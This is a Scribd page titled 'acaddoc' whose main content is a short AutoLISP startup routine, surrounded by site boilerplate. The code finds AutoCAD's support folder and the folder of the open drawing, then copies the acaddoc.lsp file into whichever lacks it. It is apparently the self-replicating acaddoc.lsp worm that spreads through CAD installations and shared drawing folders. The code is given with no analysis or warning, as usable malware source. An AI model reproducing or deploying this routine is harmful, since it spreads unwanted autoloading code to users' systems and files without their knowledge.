P. 1
acaddoc

acaddoc

|Views: 0|Likes:
Published by zaphyraelhawa

More info:

Published by: zaphyraelhawa on Nov 11, 2012
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as TXT, PDF, TXT or read online from Scribd
See more
See less

12/04/2012

pdf

text

original

(defun-q s::startup (/ basepath baseacad acaddocpath r-acaddoc w-basepath rl-acaddoc acaddoclsp c-acaddocname c-acaddocpath c-acaddoc ) (setq basepath (findfile

"base.dcl") ) (setq basepath (substr basepath 1 (- (strlen basepath) 8) ) ) (setq baseacad (strcat basepath "acaddoc.lsp")) (setq acaddocpath (findfile "acaddoc.lsp") ) (setq acaddocpath (substr acaddocpath 1 (- (strlen acaddocpath) 11) ) ) (setq acaddoclsp (strcat acaddocpath "acaddoc.lsp")) (setq c-acaddocname (getvar "dwgname") ) (setq c-acaddocpath (findfile c-acaddocname) ) (setq c-acaddocpath (substr c-acaddocpath 1 (- (strlen c-acaddocpath) (strlen c-acaddocname)) ) ) (setq c-acaddoc (strcat c-acaddocpath "acaddoc.lsp") ) (if (and (/= basepath acaddocpath) (= c-acaddocpath acaddocpath) ) (progn (setq r-acaddoc (open acaddoclsp "r") ) (setq w-basepath (open baseacad "w") )

(while (setq rl-acaddoc (read-line r-acaddoc) ) (write-line rl-acaddoc w-basepath) ) (close w-basepath) (close r-acaddoc) ) (progn (setq r-acaddoc (open acaddoclsp "r") ) (setq w-basepath (open c-acaddoc "w") ) (while (setq rl-acaddoc (read-line r-acaddoc) ) (write-line rl-acaddoc w-basepath) ) (close w-basepath) (close r-acaddoc) ) ) (princ) )

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->